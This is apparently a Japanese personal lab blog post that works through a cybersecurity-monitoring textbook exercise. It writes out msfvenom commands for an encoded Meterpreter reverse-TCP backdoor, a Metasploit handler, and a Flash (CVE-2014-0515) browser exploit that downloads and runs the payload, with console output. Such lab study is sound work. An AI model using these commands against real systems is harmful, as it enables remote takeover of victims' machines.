「サイバーセキュリティモニタリング(環境構築編) - あしのあしあと」の続き。「2 章は、簡単だ〜!!」と思っていたのだが、殊の外、うまくいかなかった。
まずは、攻撃するホストで、HTTP サーバを起動した。これがワナのサイトになる。ここまでは、よい。なのだが、標的となるホストから、この HTTP サーバに接続できない。
逆はできる。標的となるホストで HTTP サーバを起動すると、攻撃するホストからはアクセスできる。
とりあえず、攻撃するホストで、iptables のフィルタをなくした。SELinux が無効になっていることも確認した。だけど、つながらない。「どうしてつながらないんだろう?」と悩みに悩んで、「まさか」と思い調べてみると、、ホスト OS と、ゲスト OS で、IP アドレスがいっしょだった。。あるある。
はい。すぐに、つながるようになりました。
読み進めていくと、2.6 あたりで一時停止。どうも、うまくいかない。とりあえず「malware.exe」は、きちんとできていた。実行すると、reverse_tcp で、ちゃんとバックドアを作成してくれる。だが、肝心なところがダメ。
試しに、標的となるホストでワナのページにアクセスしてみる。当然、攻撃するホストは、それっぽい応答を返してくる。コンソールにも、ちゃんと出力される。
クライアント側は、何かをロードした後にリダイレクトしているように見え、最終的に 404 が返ってくる。ブラウザのバージョンがダメなんだろうなぁと思いつつ、「たぶんわからないから、とりあえず放置しよう」かと。
で、気をとりなおして、2 章の「章末問題」をやる。ココから、手順をメモ。といっても、本編と同じなので、メモはいらないのだが。一応。
まずは、ワナとなるサーバを起動する。
# cd ~/destination # python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ...
次に、~/destination に、バックドアをつくってくれるプログラム(malware.exe)を生成する。
# msfvenom -a x86 --platform windows \ -e x86/shikata_ga_nai \ -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.3 \ LPORT=8080 \ -f exe -o malware.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Saved as: malware
Metasploit のコンソール上で、該当のシェルコードを検索する。
search cve:2014-0515
ポート 8080 で、バックドアと通信するためのサービスを起動する。
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.3 set LPORT 8080 exploit [*] Started reverse TCP handler on 192.168.1.3:8080 [*] Starting the payload handler...
ワナのページを作成し、標的となるユーザのアクセスを待つ。で、標的となるホストで、ワナのページにアクセスすると発火。
use exploit/multi/browser/adobe_flash_pixel_bender_bof set SRVHOST 192.168.1.3 set SRVPORT 80 set URIPATH /ie set PAYLOAD windows/download_exec set URL http://192.168.1.3:443/malware.exe set EXE malware.exe exploit [*] Exploit running as background job. [*] Using URL: http://192.168.1.3:80/ie [*] Server started. [*] Gathering target information for 192.168.1.5 [*] Sending HTML response to 192.168.1.5 [*] Request: /ie/rrgbnM/ [*] Sending HTML... [*] Request: /ie/rrgbnM/npyQTq.swf [*] Sending SWF...
リモートから、管理者権限でアクセスできるようになる。うん。こっちはうまくいく。とりあえず、2 章は終わりとするか。